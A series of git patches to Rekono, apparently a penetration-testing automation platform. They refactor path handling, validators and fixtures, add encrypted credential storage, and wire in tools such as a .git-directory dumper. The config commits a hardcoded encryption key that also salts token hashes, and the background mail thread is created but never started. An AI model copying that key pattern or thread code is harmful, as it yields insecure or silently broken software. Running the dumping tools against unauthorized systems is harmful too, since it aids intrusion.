hashlib.sha512() - with open(path, "wb+") as stored_file: + with path.open("wb+") as stored_file: for chunk in in_memory_file.chunks(): stored_file.write(chunk) checksum.update(chunk) diff --git a/src/backend/security/utils/input_validator.py b/src/backend/security/utils/input_validator.py index 655c9dfdf..5f56c9221 100644 --- a/src/backend/security/utils/input_validator.py +++ b/src/backend/security/utils/input_validator.py @@ -1,6 +1,7 @@ import ipaddress import logging import re +from dataclasses import dataclass from enum import Enum from re import RegexFlag from typing import Any @@ -66,7 +67,7 @@ def __init__( super().__init__(regex, message, code, inverse_match, flags) self.target_blacklist = CONFIG.target_blacklist try: - settings = Settings.objects.filter(pk=1) + settings = Settings.objects.first() if settings.exists(): self.target_blacklist += StringAsListField().to_representation( settings.first().target_blacklist @@ -106,9 +107,12 @@ def __call__(self, value: str | None) -> None: pass +@dataclass class TimeValidator: - def __init__(self, code: str): - self.code = code + code: str + # TODO: Remove + # def __init__(self, code: str): + # self.code = code def future_datetime(self, datetime: Any) -> None: if datetime <= timezone.now(): diff --git a/src/backend/settings/apps.py b/src/backend/settings/apps.py index a20dabcfb..872994b7b 100644 --- a/src/backend/settings/apps.py +++ b/src/backend/settings/apps.py @@ -14,10 +14,3 @@ def _get_models(self) -> List[Any]: from settings.models import Settings return [Settings] - - def _load_fixtures(self, **kwargs: Any) -> None: - from settings.models import Settings - - if Settings.objects.exists(): - return - return super()._load_fixtures(**kwargs) diff --git a/src/backend/target_ports/models.py b/src/backend/target_ports/models.py index ce91e18ba..470b6d67e 100644 --- a/src/backend/target_ports/models.py +++ b/src/backend/target_ports/models.py @@ -54,7 +54,11 @@ def parse( Returns: Dict[str, Any]: Useful information for tool executions, including accumulated if setted """ - output = self.authentication.parse(target, accumulated) + output = ( + self.authentication.parse(target, accumulated) + if self.authentication + else {} + ) ports = (accumulated or {}).get(InputKeyword.PORTS.name.lower(), []) + [ self.port ] diff --git a/src/backend/targets/models.py b/src/backend/targets/models.py index 79f9f595d..d1b664c2d 100644 --- a/src/backend/targets/models.py +++ b/src/backend/targets/models.py @@ -14,7 +14,7 @@ # Create your models here. -logger = logging.getLogger() # Rekono logger +logger = logging.getLogger() class Target(BaseInput): diff --git a/src/backend/tools/executors/base.py b/src/backend/tools/executors/base.py index 4fb0f50e7..0a18ef213 100644 --- a/src/backend/tools/executors/base.py +++ b/src/backend/tools/executors/base.py @@ -3,7 +3,8 @@ import re import subprocess import uuid -from typing import Any, Dict, List, Tuple +from pathlib import Path +from typing import Any, Dict, List from authentications.models import Authentication from django.utils import timezone @@ -31,9 +32,9 @@ def __init__(self, execution: Execution) -> None: .order_by("-value") .first() ) - self.report = os.path.join( - CONFIG.reports, - f'{str(uuid.uuid4())}.{execution.configuration.tool.output_format or "txt"}', + self.report = ( + CONFIG.reports + / f'{str(uuid.uuid4())}.{execution.configuration.tool.output_format or "txt"}' ) self.arguments = [] self.findings_used_in_execution: Dict[__class__, BaseInput] = {} @@ -47,12 +48,14 @@ def _get_arguments( wordlists: List[Wordlist], ) -> List[str]: parameters = { - "script": os.path.join( - getattr( - CONFIG, - self.execution.configuration.tool.script_directory_property.lower(), - ), - self.execution.configuration.tool.script, + "script": ( + Path( + getattr( + CONFIG, + self.execution.configuration.tool.script_directory_property.lower(), + ) + ) + / self.execution.configuration.tool.script ) if self.execution.configuration.tool.script_directory_property and self.execution.configuration.tool.script @@ -206,9 +209,7 @@ def _on_error(self, error: str) -> None: def _on_completed(self, output: str) -> None: self.execution.status = Status.COMPLETED self.execution.end = timezone.now() - if self.execution.configuration.tool.output_format and os.path.isfile( - self.report - ): + if self.execution.configuration.tool.output_format and self.report.is_file(): self.execution.output_file = self.report.strip() self.execution.output_plain = output.replace( self.report, f"output.{self.execution.configuration.tool.output_format}" diff --git a/src/backend/tools/executors/cmseek.py b/src/backend/tools/executors/cmseek.py index add5a34bb..0be107b78 100644 --- a/src/backend/tools/executors/cmseek.py +++ b/src/backend/tools/executors/cmseek.py @@ -1,6 +1,6 @@ -import os import pathlib import shutil +from pathlib import Path from urllib.parse import urlparse from rekono.settings import CONFIG @@ -9,15 +9,15 @@ class Cmseek(BaseExecutor): def _after_running(self) -> None: - result_path = os.path.join( - "Result", - urlparse(self.arguments(self.arguments.index("-u") + 1)).hostname, - "cms.json", + result_path = ( + Path("Result") + / urlparse(self.arguments(self.arguments.index("-u") + 1)).hostname + / "cms.json" ) for report in [ result_path, - os.path.join(CONFIG.cmseek_dir, result_path), + Path(CONFIG.cmseek_dir) / result_path, ]: - if os.path.isfile(report): - shutil.move(report, self.report) + if report.is_file(): + report.rename(self.report) shutil.rmtree(pathlib.Path(report).parent) diff --git a/src/backend/tools/executors/gitleaks.py b/src/backend/tools/executors/gitleaks.py index a3150f9f3..7336be30f 100644 --- a/src/backend/tools/executors/gitleaks.py +++ b/src/backend/tools/executors/gitleaks.py @@ -1,12 +1,11 @@ -import json -import os import subprocess import uuid -from typing import Any, Dict, List +from pathlib import Path +from typing import Any, Dict from executions.models import Execution from findings.enums import Severity -from findings.models import Port, Vulnerability +from findings.models import Vulnerability from rekono.settings import CONFIG from tools.executors.base import BaseExecutor @@ -37,8 +36,8 @@ def _run(self, environment: Dict[str, Any] = ...) -> str: if target_url[-1] != "/": target_url += "/" target_url += ".git/" - gitdumper_directory = os.path.join(CONFIG.gittools_dir, "Dumper") - run_directory = os.path.join(CONFIG.reports, str(uuid.uuid4())) + gitdumper_directory = Path(CONFIG.gittools_dir) / "Dumper" + run_directory = CONFIG.reports / str(uuid.uuid4()) process = subprocess.run( ["bash", gitdumper_directory, "gitdumper.sh", target_url, run_directory], capture_output=True, @@ -49,12 +48,10 @@ def _run(self, environment: Dict[str, Any] = ...) -> str: capture_output=True, cwd=run_directory, ) - for _, dirs, files in os.walk(self.run_directory): - # Check if Git repository has been dumped or not - self.git_directory_dumped = ( - len([d for d in dirs if d != ".git"]) > 0 or len(files) > 0 - ) - break + for path in self.run_directory.iterdir(): + if path.stem != ".git" or path.is_file(): + self.git_directory_dumped = True + break if self.git_directory_dumped: return super()._run(environment) if process.returncode > 0: diff --git a/src/backend/tools/models.py b/src/backend/tools/models.py index 0df049ab9..5480e3db2 100644 --- a/src/backend/tools/models.py +++ b/src/backend/tools/models.py @@ -1,7 +1,7 @@ -import os import re import shutil import subprocess +from pathlib import Path from typing import Any from django.db import models @@ -42,15 +42,13 @@ def update_status(self) -> None: and ( (not self.script and not self.script_directory_property) or ( - os.path.isdir( + Path( getattr(CONFIG, self.script_directory_property.lower()) - ) - and os.path.isfile( - os.path.join( - getattr(CONFIG, self.script_directory_property.lower()), - self.script, - ) - ) + ).is_dir() + and ( + Path(getattr(CONFIG, self.script_directory_property.lower())) + / self.script + ).is_file() ) ) ) diff --git a/src/backend/tools/parsers/base.py b/src/backend/tools/parsers/base.py index f3a9bde75..387f49cab 100644 --- a/src/backend/tools/parsers/base.py +++ b/src/backend/tools/parsers/base.py @@ -18,20 +18,13 @@ def __init__(self, executor: BaseExecutor, output: str = None) -> None: executor.report if executor.report and executor.execution.configuration.tool.output_format - and os.path.isfile(executor.report) - and os.stat(executor.report).st_size > 0 + and executor.report.is_file() + and executor.report.stat().st_size > 0 else None ) self.findings: List[Finding] = [] def create_finding(self, finding_type: Finding, **fields: Any) -> Finding: - fields.update( - { - "target": self.executor.execution.task.target, - "detected_by": self.executor.execution.configuration.tool, - "last_seen": timezone.now(), - } - ) for ( finding_type_used, finding_used, @@ -54,7 +47,15 @@ def create_finding(self, finding_type: Finding, **fields: Any) -> Finding: unique_id = {} for field in finding_type.get_unique_fields(): unique_id[field] = fields[field] - finding, _ = finding_type.objects.update_or_create(**unique_id, defaults=fields) + finding, _ = finding_type.objects.update_or_create( + **unique_id, + defaults={ + **fields, + "target": self.executor.execution.task.target, + "detected_by": self.executor.execution.configuration.tool, + "last_seen": timezone.now(), + } + ) self.findings.append(finding) def _parse_report(self) -> None: diff --git a/src/backend/users/models.py b/src/backend/users/models.py index 13c5d2d56..65cc73976 100644 --- a/src/backend/users/models.py +++ b/src/backend/users/models.py @@ -20,7 +20,7 @@ # Create your models here. -logger = logging.getLogger() # Rekono logger +logger = logging.getLogger() class RekonoUserManager(UserManager): diff --git a/src/backend/users/serializers.py b/src/backend/users/serializers.py index fb78ab6d6..17434e774 100644 --- a/src/backend/users/serializers.py +++ b/src/backend/users/serializers.py @@ -16,7 +16,7 @@ from security.authorization.roles import Role from users.models import User -logger = logging.getLogger() # Rekono logger +logger = logging.getLogger() class UserSerializer(ModelSerializer): diff --git a/src/backend/users/views.py b/src/backend/users/views.py index 448399656..957abec97 100644 --- a/src/backend/users/views.py +++ b/src/backend/users/views.py @@ -31,7 +31,7 @@ # Create your views here. -logger = logging.getLogger() # Rekono logger +logger = logging.getLogger() class UserViewSet(BaseViewSet): @@ -146,32 +146,6 @@ def update_password(self, request: Request) -> Response: self._update(request, UpdatePasswordSerializer) return Response(status=status.HTTP_200_OK) - # @extend_schema(request=TelegramBotSerializer, responses={200: None}) - # @action( - # detail=False, - # methods=["POST"], - # url_path="telegram-token", - # url_name="telegram-token", - # ) - # def telegram_token(self, request: Request) -> Response: - # """Link Telegram bot to the user account. - - # Args: - # request (Request): Received HTTP request - - # Returns: - # Response: HTTP response - # """ - # serializer = TelegramBotSerializer(request.user, data=request.data) - # if serializer.is_valid(): # Check input data - # serializer.update( - # request.user, serializer.validated_data - # ) # Link Telegram bot to user account - # return Response(status=status.HTTP_200_OK) - # return Response( - # serializer.errors, status=status.HTTP_400_BAD_REQUEST - # ) # Invalid input data - class CreateUserViewSet(BaseViewSet): """User ViewSet that includes user initialization from invitation feature.""" diff --git a/src/backend/wordlists/apps.py b/src/backend/wordlists/apps.py index 73d68f817..a92a30875 100644 --- a/src/backend/wordlists/apps.py +++ b/src/backend/wordlists/apps.py @@ -24,7 +24,7 @@ def _load_fixtures(self, **kwargs: Any) -> None: def update_default_wordlists_size(self, **kwargs: Any) -> None: """Update default wordlists size.""" for wordlist in self._get_models()[0].objects.all(): - if os.path.isfile(wordlist.path) and os.access(wordlist.path, os.R_OK): + if Path(wordlist.path).is_file() and os.access(wordlist.path, os.R_OK): with open(wordlist.path, "rb+") as wordlist_file: # Open uploaded file wordlist.size = len(wordlist_file.readlines()) wordlist.save(update_fields=["size"]) diff --git a/src/backend/wordlists/models.py b/src/backend/wordlists/models.py index 70b3b06b5..6d655e895 100644 --- a/src/backend/wordlists/models.py +++ b/src/backend/wordlists/models.py @@ -1,4 +1,4 @@ -import os +from pathlib import Path from typing import Any, Dict from django.db import models @@ -40,7 +40,7 @@ def filter(self, input: Any) -> bool: Returns: bool: Indicate if this instance match the input filter or not """ - check = os.path.isfile(self.path) # Check if wordlist file exists + check = Path(self.path).is_file() # Check if wordlist file exists if check and self.checksum: # If checksum exists check = check and FileHandler().validate_filepath_checksum( self.path, self.checksum From 2d3191a883002933dfe99ec1c64170abb7f00854 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Tue, 14 Nov 2023 23:55:44 +0100 Subject: [PATCH 028/141] Fix unexpected behavior on migrations management --- src/backend/platforms/defect_dojo/apps.py | 2 +- src/backend/platforms/mail/apps.py | 2 +- .../platforms/mail/fixtures/1_default.json | 2 +- src/backend/platforms/telegram_app/apps.py | 2 +- src/backend/platforms/telegram_app/models.py | 4 +--- src/backend/rekono/config.py | 14 ++++++++------ src/backend/rekono/settings.py | 8 +++++--- src/backend/requirements.txt | 2 +- src/backend/security/utils/input_validator.py | 18 +++++++----------- src/backend/tasks/models.py | 9 ++++----- 10 files changed, 30 insertions(+), 33 deletions(-) diff --git a/src/backend/platforms/defect_dojo/apps.py b/src/backend/platforms/defect_dojo/apps.py index 8a5606354..ba000f846 100644 --- a/src/backend/platforms/defect_dojo/apps.py +++ b/src/backend/platforms/defect_dojo/apps.py @@ -7,7 +7,7 @@ class DefectDojoConfig(BaseApp, AppConfig): name = "platforms.defect_dojo" - # fixtures_path = Path(__file__).resolve().parent / "fixtures" + fixtures_path = Path(__file__).resolve().parent / "fixtures" skip_if_model_exists = True def _get_models(self) -> List[Any]: diff --git a/src/backend/platforms/mail/apps.py b/src/backend/platforms/mail/apps.py index b9ae96422..f674e6376 100644 --- a/src/backend/platforms/mail/apps.py +++ b/src/backend/platforms/mail/apps.py @@ -7,7 +7,7 @@ class MailConfig(BaseApp, AppConfig): name = "platforms.mail" - # fixtures_path = Path(__file__).resolve().parent / "fixtures" + fixtures_path = Path(__file__).resolve().parent / "fixtures" skip_if_model_exists = True def _get_models(self) -> List[Any]: diff --git a/src/backend/platforms/mail/fixtures/1_default.json b/src/backend/platforms/mail/fixtures/1_default.json index 726544652..60eb251b1 100644 --- a/src/backend/platforms/mail/fixtures/1_default.json +++ b/src/backend/platforms/mail/fixtures/1_default.json @@ -5,7 +5,7 @@ "fields": { "host": null, "port": 587, - "user": null, + "username": null, "password": null, "tls": true } diff --git a/src/backend/platforms/telegram_app/apps.py b/src/backend/platforms/telegram_app/apps.py index 56f04d5ec..516065cd5 100644 --- a/src/backend/platforms/telegram_app/apps.py +++ b/src/backend/platforms/telegram_app/apps.py @@ -7,7 +7,7 @@ class TelegramAppConfig(BaseApp, AppConfig): name = "platforms.telegram_app" - # fixtures_path = Path(__file__).resolve().parent / "fixtures" + fixtures_path = Path(__file__).resolve().parent / "fixtures" skip_if_model_exists = True def _get_models(self) -> List[Any]: diff --git a/src/backend/platforms/telegram_app/models.py b/src/backend/platforms/telegram_app/models.py index 01290526e..37b4c0fcc 100644 --- a/src/backend/platforms/telegram_app/models.py +++ b/src/backend/platforms/telegram_app/models.py @@ -31,9 +31,7 @@ class TelegramChat(BaseModel): creation = models.DateTimeField(auto_now_add=True) # One Time Password to link user account otp = models.TextField(max_length=200, blank=True, null=True) - otp_expiration = models.DateTimeField( - default=User.objects.get_otp_expiration_time, blank=True, null=True - ) + otp_expiration = models.DateTimeField(blank=True, null=True) def is_auditor(self) -> bool: return ( diff --git a/src/backend/rekono/config.py b/src/backend/rekono/config.py index 3d843a129..ee5172256 100644 --- a/src/backend/rekono/config.py +++ b/src/backend/rekono/config.py @@ -1,7 +1,7 @@ import os import sys from pathlib import Path -from typing import Any, List, Optional +from typing import Any, Optional import yaml from rekono.properties import Property @@ -11,11 +11,13 @@ class RekonoConfig: def __init__(self) -> None: self.testing = "test" in sys.argv self.base_dir = Path(__file__).resolve().parent.parent - self.home = ( - self.base_dir / "testing" / "home" - if self.testing - else Path(self._get_config(Property.REKONO_HOME)) - ) + if self.testing: + self.home = self.base_dir / "testing" / "home" + else: + home_from_config = Path(self._get_config(Property.REKONO_HOME)) + self.home = ( + home_from_config if home_from_config.is_dir() else self.base_dir.parent + ) self.reports = self.home / "reports" self.wordlists = self.home / "wordlists" self.logs = self.home / "logs" diff --git a/src/backend/rekono/settings.py b/src/backend/rekono/settings.py index 0ed551674..4283c6957 100644 --- a/src/backend/rekono/settings.py +++ b/src/backend/rekono/settings.py @@ -58,7 +58,6 @@ "platforms.mail", "platforms.telegram_app", "parameters", - "processes", "projects", "security", "settings", @@ -66,8 +65,11 @@ "targets", "tasks", "tools", - "users", + # Processes MUST be loaded after tools, as their fixtures need configuration fixtures to be loaded first + "processes", "wordlists", + # Users MUST be loaded at the latest place, as it will load permissions fixtures from all the other models + "users", ] MIDDLEWARE = [ @@ -86,7 +88,7 @@ TEMPLATES = [ { "BACKEND": "django.template.backends.django.DjangoTemplates", - "DIRS": [BASE_DIR / "notifications" / "mail" / "templates"], + "DIRS": [BASE_DIR / "platforms" / "mail" / "templates"], "APP_DIRS": True, "OPTIONS": { "context_processors": [ diff --git a/src/backend/requirements.txt b/src/backend/requirements.txt index 8606aa77c..c19ba58ee 100644 --- a/src/backend/requirements.txt +++ b/src/backend/requirements.txt @@ -1,5 +1,5 @@ defusedxml==0.7.1 -Django==4.2.5 +Django==4.2.7 djangorestframework==3.14.0 djangorestframework-simplejwt==5.2.2 django-filter==23.2 diff --git a/src/backend/security/utils/input_validator.py b/src/backend/security/utils/input_validator.py index 5f56c9221..9632f5b5a 100644 --- a/src/backend/security/utils/input_validator.py +++ b/src/backend/security/utils/input_validator.py @@ -107,19 +107,15 @@ def __call__(self, value: str | None) -> None: pass -@dataclass -class TimeValidator: - code: str - # TODO: Remove - # def __init__(self, code: str): - # self.code = code - - def future_datetime(self, datetime: Any) -> None: - if datetime <= timezone.now(): +class FutureDatetimeValidator(RegexValidator): + def __call__(self, value: Any) -> None: + if value <= timezone.now(): raise ValidationError("Datetime must be future", code=self.code) - def time_amount(self, amount: int) -> None: - if amount > 1000 or amount <= 0: + +class TimeAmountValidator(RegexValidator): + def __call__(self, value: int) -> None: + if value > 1000 or value <= 0: raise ValidationError("Time value is too high", code=self.code) diff --git a/src/backend/tasks/models.py b/src/backend/tasks/models.py index a74ed38b0..b05b6dd38 100644 --- a/src/backend/tasks/models.py +++ b/src/backend/tasks/models.py @@ -1,8 +1,7 @@ from django.db import models -from executions.enums import Status from processes.models import Process from rekono.settings import AUTH_USER_MODEL -from security.utils.input_validator import TimeValidator +from security.utils.input_validator import FutureDatetimeValidator, TimeAmountValidator from targets.models import Target from tasks.enums import TimeUnit from tools.enums import Intensity @@ -32,13 +31,13 @@ class Task(models.Model): scheduled_at = models.DateTimeField( blank=True, null=True, - validators=[TimeValidator("scheduled_at").future_datetime], + validators=[FutureDatetimeValidator(code="scheduled_at")], ) # Amount of time before task execution scheduled_in = models.IntegerField( blank=True, null=True, - validators=[TimeValidator("scheduled_in").time_amount], + validators=[TimeAmountValidator(code="scheduled_in")], ) # Time unit to apply to the 'sheduled in' value scheduled_time_unit = models.TextField( @@ -48,7 +47,7 @@ class Task(models.Model): repeat_in = models.IntegerField( blank=True, null=True, - validators=[TimeValidator("repeat_in").time_amount], + validators=[TimeAmountValidator(code="repeat_in")], ) # Time unit to apply to the 'repeat in' value repeat_time_unit = models.TextField( From 70fcb85e8284167ba9df312a6ebcf1a2b0f199fc Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Wed, 15 Nov 2023 00:23:08 +0100 Subject: [PATCH 029/141] Send mail messages in a thread to don't stop the main execution --- src/backend/platforms/mail/notifications.py | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-) diff --git a/src/backend/platforms/mail/notifications.py b/src/backend/platforms/mail/notifications.py index cb6b15a8f..1d5057323 100644 --- a/src/backend/platforms/mail/notifications.py +++ b/src/backend/platforms/mail/notifications.py @@ -1,4 +1,5 @@ import logging +import threading from typing import Any, Dict, List from django.core.mail import EmailMultiAlternatives @@ -42,6 +43,13 @@ def is_available(self) -> bool: except: return False + def _send_messages_in_background( + self, users: List[Any], subject: str, template: str, data: Dict[str, Any] + ) -> None: + threading.Thread( + target=self._send_messages, args=(users, subject, template, data) + ) + def _send_messages( self, users: List[Any], subject: str, template: str, data: Dict[str, Any] ) -> None: @@ -77,22 +85,22 @@ def _notify_execution( ) def invite_user(self, user: Any) -> None: - self._send_messages( + self._send_messages_in_background( [user], "Welcome to Rekono", "user_invitation.html", {"user": user} ) def reset_password(self, user: Any) -> None: - self._send_messages( + self._send_messages_in_background( [user], "Reset Rekono password", "user_password_reset.html", {"user": user} ) def enable_user_account(self, user: Any) -> None: - self._send_messages( + self._send_messages_in_background( [user], "Rekono user enabled", "user_enable_account.html", {"user": user} ) def login_notification(self, user: Any) -> None: - self._send_messages( + self._send_messages_in_background( [user], "New login in your Rekono account", "user_login_notification.html", @@ -100,7 +108,7 @@ def login_notification(self, user: Any) -> None: ) def telegram_linked_notification(self, user: Any) -> None: - self._send_messages( + self._send_messages_in_background( [user], "Welcome to Rekono Bot", "user_telegram_linked_notification.html", From 0a69748bb75a1d2c22014c8e77c6dd1098afd901 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Wed, 15 Nov 2023 00:35:59 +0100 Subject: [PATCH 030/141] Remove old and useless code --- src/backend/rekono/settings.py | 2 -- src/backend/security/middleware.py | 9 --------- 2 files changed, 11 deletions(-) diff --git a/src/backend/rekono/settings.py b/src/backend/rekono/settings.py index 4283c6957..bf0286bdc 100644 --- a/src/backend/rekono/settings.py +++ b/src/backend/rekono/settings.py @@ -298,8 +298,6 @@ "tasks-queue": default_rq_queue, "executions-queue": default_rq_queue, "findings-queue": default_rq_queue, - # TODO: Try to remove - # "emails-queue": default_rq_queue, } RQ_QUEUES["executions-queue"]["DEFAULT_TIMEOUT"] = 28800 # 8 hours diff --git a/src/backend/security/middleware.py b/src/backend/security/middleware.py index 66154f2ec..f27b5357c 100644 --- a/src/backend/security/middleware.py +++ b/src/backend/security/middleware.py @@ -60,15 +60,6 @@ class SecurityMiddleware: get_response: Any - # TODO: Remove - # def __init__(self, get_response: Any) -> None: - # """Middleware constructor. - - # Args: - # get_response (Any): HTTP request processor - # """ - # self.get_response = get_response - def _get_forwarded_address(self, request: HttpRequest) -> str: x_forwarded_for = request.META.get("HTTP_X_FORWARDED_FOR") if x_forwarded_for and CONFIG.trusted_proxy: From 7c6c7b005ae8815e053f17523d8dc87256af9d2a Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Thu, 16 Nov 2023 19:35:07 +0100 Subject: [PATCH 031/141] Some improvements: encrypt credentials stored on database, fix queues, improve hashing of API tokens, fix serializers that receive IDs in write operations and return entities on read operations, decrease access token lifetime to 2 minutes, invalidate previous user tokens before new login, and remove some commented code --- .dockerignore | 6 +-- .gitignore | 6 +-- src/config.yaml => config.yaml | 29 ++++++------ src/backend/.mypy.ini | 2 +- src/backend/api_tokens/models.py | 5 +-- src/backend/api_tokens/serializers.py | 19 ++------ src/backend/authentications/models.py | 17 ++++--- src/backend/authentications/serializers.py | 2 +- src/backend/executions/queues.py | 2 +- src/backend/findings/framework/models.py | 2 +- src/backend/framework/apps.py | 1 - src/backend/framework/models.py | 28 +++++++++++- src/backend/framework/queues.py | 2 +- src/backend/parameters/models.py | 3 +- .../defect_dojo/fixtures/1_default.json | 2 +- .../platforms/defect_dojo/integrations.py | 4 +- src/backend/platforms/defect_dojo/models.py | 12 ++--- .../platforms/defect_dojo/serializers.py | 3 +- .../platforms/mail/fixtures/1_default.json | 2 +- src/backend/platforms/mail/models.py | 12 ++--- src/backend/platforms/mail/notifications.py | 2 +- src/backend/platforms/mail/serializers.py | 3 +- src/backend/platforms/telegram_app/bot/bot.py | 8 ++-- .../platforms/telegram_app/bot/framework.py | 5 +-- .../telegram_app/bot/mixins/framework.py | 2 +- .../telegram_app/bot/mixins/targets.py | 2 +- .../telegram_app/bot/mixins/tasks.py | 8 ++-- .../telegram_app/fixtures/1_default.json | 2 +- .../platforms/telegram_app/framework.py | 11 +++-- src/backend/platforms/telegram_app/models.py | 18 +++++--- .../platforms/telegram_app/serializers.py | 7 +-- src/backend/processes/models.py | 2 +- src/backend/processes/serializers.py | 26 +++++++++-- src/backend/projects/models.py | 2 +- src/backend/rekono/config.py | 45 ++++++++++++++----- src/backend/rekono/properties.py | 7 ++- src/backend/rekono/settings.py | 4 +- src/backend/requirements.txt | 1 + src/backend/security/authentication/api.py | 8 ++-- .../security/authentication/serializers.py | 2 +- .../{utils => cryptography}/__init__.py | 0 .../security/cryptography/encryption.py | 12 +++++ src/backend/security/cryptography/hashing.py | 13 ++++++ .../random.py} | 13 ------ .../security/{utils => }/file_handler.py | 0 .../security/{utils => }/input_validator.py | 0 src/backend/settings/models.py | 5 --- src/backend/settings/serializers.py | 15 +------ src/backend/target_ports/models.py | 2 +- src/backend/target_ports/serializers.py | 14 ++++-- src/backend/targets/models.py | 2 +- src/backend/targets/serializers.py | 2 +- src/backend/tasks/models.py | 2 +- src/backend/tasks/queues.py | 26 ++++------- src/backend/tasks/serializers.py | 45 +++++++++++++------ src/backend/tools/parsers/nmap.py | 2 +- src/backend/tools/serializers.py | 12 ++--- src/backend/users/models.py | 22 ++++++--- src/backend/wordlists/models.py | 4 +- src/backend/wordlists/serializers.py | 2 +- 60 files changed, 307 insertions(+), 210 deletions(-) rename src/config.yaml => config.yaml (65%) rename src/backend/security/{utils => cryptography}/__init__.py (100%) create mode 100644 src/backend/security/cryptography/encryption.py create mode 100644 src/backend/security/cryptography/hashing.py rename src/backend/security/{utils/cryptography.py => cryptography/random.py} (53%) rename src/backend/security/{utils => }/file_handler.py (100%) rename src/backend/security/{utils => }/input_validator.py (100%) diff --git a/.dockerignore b/.dockerignore index 5a3874102..bfaf8419a 100644 --- a/.dockerignore +++ b/.dockerignore @@ -13,8 +13,8 @@ src/backend/requirements-dev.txt src/backend/tests/* *.md LICENSE.txt -src/reports/ -src/wordlists/ -src/logs/ +reports/ +wordlists/ +logs/ src/frontend/node_modules/* .DS_Store \ No newline at end of file diff --git a/.gitignore b/.gitignore index cb7030266..e97a67b56 100644 --- a/.gitignore +++ b/.gitignore @@ -132,9 +132,9 @@ dmypy.json .DS_Store .vscode/ .scannerwork/ -src/reports/ -src/wordlists/ -src/logs/ +./reports/ +./wordlists/ +./logs/ /static/ # Vue.JS diff --git a/src/config.yaml b/config.yaml similarity index 65% rename from src/config.yaml rename to config.yaml index 42459b78d..d6a528ded 100644 --- a/src/config.yaml +++ b/config.yaml @@ -1,27 +1,28 @@ -rootpath: null -frontend: - url: https://127.0.0.1 -security: - # secret-key: - allowed-hosts: - - 127.0.0.1 - - localhost - - ::1 database: - name: rekono - # user: - # password: host: 127.0.0.1 + name: rekono + password: null port: 5432 + user: null +frontend: + url: https://127.0.0.1 +rootpath: null rq: host: 127.0.0.1 port: 6379 +security: + allowed-hosts: + - 127.0.0.1 + - localhost + - ::1 + encryption-key: El0oF_4RQWWu5qLCm225xdlKYbxexRNpcJ_DoAY5mmc= + secret-key: null tools: cmseek: directory: /usr/share/cmseek + gittools: + directory: /opt/GitTools log4j-scan: directory: /opt/log4j-scan spring4shell-scan: directory: /opt/spring4shell-scan - gittools: - directory: /opt/GitTools \ No newline at end of file diff --git a/src/backend/.mypy.ini b/src/backend/.mypy.ini index 466ff81d5..4087510b5 100644 --- a/src/backend/.mypy.ini +++ b/src/backend/.mypy.ini @@ -1,5 +1,5 @@ [mypy] -files = src/backend/** +files = ./** ; Mypy fails due to some external imports without hints ignore_missing_imports = True exclude = (.*/migrations/.*|venv/.*) \ No newline at end of file diff --git a/src/backend/api_tokens/models.py b/src/backend/api_tokens/models.py index 9b86e3a2d..de1a47033 100644 --- a/src/backend/api_tokens/models.py +++ b/src/backend/api_tokens/models.py @@ -2,7 +2,7 @@ from framework.models import BaseModel from rekono.settings import AUTH_USER_MODEL from rest_framework.authtoken.models import Token -from security.utils.input_validator import Regex, Validator +from security.input_validator import FutureDatetimeValidator, Regex, Validator class ApiToken(Token, BaseModel): @@ -17,8 +17,7 @@ class ApiToken(Token, BaseModel): on_delete=models.CASCADE, ) expiration = models.DateTimeField( - blank=True, - null=True, + blank=True, null=True, validators=[FutureDatetimeValidator(code="expiration")] ) class Meta: diff --git a/src/backend/api_tokens/serializers.py b/src/backend/api_tokens/serializers.py index 97e2e0806..1742cb1a8 100644 --- a/src/backend/api_tokens/serializers.py +++ b/src/backend/api_tokens/serializers.py @@ -1,10 +1,9 @@ -from typing import Any, Dict +from typing import Any from api_tokens.models import ApiToken -from django.core.exceptions import ValidationError -from django.utils import timezone +from rekono.settings import CONFIG from rest_framework.serializers import ModelSerializer -from security.utils.cryptography import hash +from security.cryptography.hashing import hash class ApiTokenSerializer(ModelSerializer): @@ -19,19 +18,9 @@ class Meta: fields = ("id", "key", "name", "expiration") read_only_fields = ("key",) - def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: - attrs = super().validate(attrs) - if attrs["expiration"] <= timezone.now(): - raise ValidationError( - "Expiration must be future", - code="expiration", - ) - return attrs - def save(self, **kwargs: Any) -> ApiToken: plain_key = ApiToken.generate_key() - # TODO: Hash and salt key - self.validated_data["key"] = hash(plain_key) + self.validated_data["key"] = hash(f"{plain_key}:{CONFIG.encryption_key}") api_token = super().save(**kwargs) api_token.key = plain_key return api_token diff --git a/src/backend/authentications/models.py b/src/backend/authentications/models.py index ae67e252a..3077a6edd 100644 --- a/src/backend/authentications/models.py +++ b/src/backend/authentications/models.py @@ -4,14 +4,14 @@ from authentications.enums import AuthenticationType from django.db import models from framework.enums import InputKeyword -from framework.models import BaseInput -from security.utils.input_validator import Regex, Validator +from framework.models import BaseEncrypted, BaseInput +from security.input_validator import Regex, Validator from targets.models import Target # Create your models here. -class Authentication(BaseInput): +class Authentication(BaseInput, BaseEncrypted): """Authentication model.""" name = models.TextField( @@ -20,16 +20,17 @@ class Authentication(BaseInput): null=True, blank=True, ) - # TODO: encrypt and decrypt secret for more security - secret = models.TextField( + _secret = models.TextField( max_length=500, validators=[Validator(Regex.SECRET.value, code="secret")], null=True, blank=True, + db_column="secret", ) type = models.TextField(max_length=8, choices=AuthenticationType.choices) filters = [BaseInput.Filter(type=AuthenticationType, field="type")] + _encrypted_field = "_secret" def parse( self, target: Target = None, accumulated: Dict[str, Any] = {} @@ -75,11 +76,9 @@ def __str__(self) -> str: str: String value that identifies this instance """ value = "" - if self.target_port: + if hasattr(self, "target_port") and self.target_port: value = f"{self.target_port.__str__()} -" - elif self.integration: - value = f"{self.integration.__str__()} -" - return f"{value}{self.name}" + return value + self.name @classmethod def get_project_field(cls) -> str: diff --git a/src/backend/authentications/serializers.py b/src/backend/authentications/serializers.py index 3b0225975..e0c79c1c6 100644 --- a/src/backend/authentications/serializers.py +++ b/src/backend/authentications/serializers.py @@ -3,7 +3,7 @@ from authentications.models import Authentication from framework.fields import ProtectedSecretField from rest_framework.serializers import ModelSerializer -from security.utils.input_validator import Regex, Validator +from security.input_validator import Regex, Validator class AuthenticationSerializer(ModelSerializer): diff --git a/src/backend/executions/queues.py b/src/backend/executions/queues.py index 3105eda63..c401ced34 100644 --- 